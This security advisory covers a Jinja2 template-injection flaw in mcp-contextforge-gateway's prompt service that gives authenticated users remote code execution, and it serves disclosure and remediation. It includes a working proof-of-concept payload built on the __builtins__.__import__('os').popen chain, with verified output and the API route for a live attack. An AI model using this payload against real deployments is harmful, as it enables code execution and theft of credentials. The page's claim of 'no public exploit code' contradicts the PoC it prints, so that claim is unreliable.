# GHSA-vwf3-4xxj-qg6h: `mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` r

> Authenticated users can execute arbitrary Python code on the gateway host by injecting malicious Jinja2 templates into prompt services.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 25 Aug 2026

## What is GHSA-vwf3-4xxj-qg6h?

GHSA-vwf3-4xxj-qg6h is a code injection vulnerability in mcp-contextforge-gateway, published on 25 Aug 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

### Summary

`mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

### Details

**Affected component:** `mcpgateway/services/prompt_service.py`
**Affected version:** `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected.

**Vulnerable code**

`mcpgateway/services/prompt_service.py`, line 26:

```python
from jinja2 import Environment, meta, select_autoescape
```

`mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`):

```python
self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)
```

`mcpgateway/services/prompt_service.py`, lines 1592–1616 (`_render_template`):

```python
def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")
```

`_render_template` is invoked from `PromptService.get_prompt` (line 892):

```python
rendered = self._render_template(prompt.template, arguments)
```

Where `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time.

### PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

**Setup**

```bash
pip install mcp-contextforge-gateway==0.9.0
```

**Reproducer (`poc.py`)**

```python
import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")
```

**Verified output**

```
[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'
```

The file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE > ...` with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

**End-to-end via the API**

A full attack against a deployed gateway uses the same payload supplied as the `template` field to `POST /prompts` (or `PUT /prompts/{id}`). Once stored, the template fires every time the prompt is rendered via the gateway's MCP `prompts/get` flow.

### Impact

This is a Server-Side Template Injection vulnerability in a component (`PromptService`) that is exposed via the gateway's REST API. The attacker requirement is **authenticated API access with permission to register or update prompts** — a normal capability for users in the gateway's intended deployment model.

**Successful exploitation yields:**

- Arbitrary command execution on the gateway host with the gateway process's privileges
- Read/write access to the gateway's filesystem
- Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
- Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
- Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

**Affected user populations:**

- Any deployment running a published version of `mcp-contextforge-gateway` from PyPI
- Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
- CI/CD pipelines that programmatically register prompt templates from untrusted sources
- Deployments that import or sync prompt definitions from external registries

**Suggested remediation requests:**

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so `pip install --upgrade` returns a fixed version
3. Mark the relevant `CHANGELOG.md` entry as a security fix and add an upgrade-urgency note in `SECURITY.md` for users still on affected versions

---

## Maintainer review (accepted)

Reproduced and **accepted**. Findings from the maintainer's review:

**Confirmed valid (SSTI → RCE).** In `mcpgateway/services/prompt_service.py` as published in v0.9.0 (and all earlier releases), `_render_template()` runs `Environment().from_string(template).render(**args)` on a plain, unsandboxed `jinja2.Environment` (v0.9.0 line 27: `from jinja2 import Environment`). With no render-time sandbox, the `__builtins__.__import__('os').popen(...)` chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

**Reachable with attacker-controlled input.** The `template` field is persisted by the authenticated write paths — `POST /prompts` (`prompts.create`), prompt update (`prompts.update`), and bulk register — then rendered in `get_prompt()` → `_render_template()`. Any authenticated principal holding `prompts.create`/`prompts.update` reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

**Scope (set on this advisory):** affected `< 1.0.0` (0.1.0–0.9.0); patched `1.0.0`.

**Already fixed.** Migrated to `SandboxedEnvironment` in #4072 (commit `4d3100466`, 2026-04-24), shipped in v1.0.0. Current `main` (1.0.3) additionally prevents the `str.format()` fallback from re-opening the attribute path when the sandbox rejects an expression (a `jinja2.exceptions.SecurityError` no longer falls through to `.format()`).

**Correction to the report.** "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to `>= 1.0.0`.

**Audit.** Other `jinja2.Environment` usages in the codebase (`main.py`, `version.py`, `tools/builder`, email templates, `content_security.py`) render trusted on-disk templates via `FileSystemLoader` or are parse-only — none render user-supplied template strings. No sec

## Which versions are affected by GHSA-vwf3-4xxj-qg6h?

2 open source packages ship an affected version, including mcp-contextforge-gateway.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `mcp-contextforge-gateway` | PyPI | All versions | 1.0.0 |
| `mcp-contextforge-gateway` | PyPI | All versions | 1.0.0 |

## How do I fix GHSA-vwf3-4xxj-qg6h?

Upgrade mcp-contextforge-gateway to 1.0.0 or later.

## Is GHSA-vwf3-4xxj-qg6h being exploited?

There is no known exploitation of GHSA-vwf3-4xxj-qg6h in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-vwf3-4xxj-qg6h and fix it if it is affected.

What it is: GHSA-vwf3-4xxj-qg6h is a code injection vulnerability in mcp-contextforge-gateway, published on 25 Aug 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-vwf3-4xxj-qg6h in the wild and no public exploit code.

Affected packages and fixed versions:
- mcp-contextforge-gateway (PyPI): affected all versions; fixed in 1.0.0
- mcp-contextforge-gateway (PyPI): affected all versions; fixed in 1.0.0

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-vwf3-4xxj-qg6h/ (Markdown: https://insights.sbomify.com/GHSA-vwf3-4xxj-qg6h/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-vwf3-4xxj-qg6h

---
From sbomify Insights: https://insights.sbomify.com/GHSA-vwf3-4xxj-qg6h/
Summaries are generated and may contain mistakes; the official description above is the record.
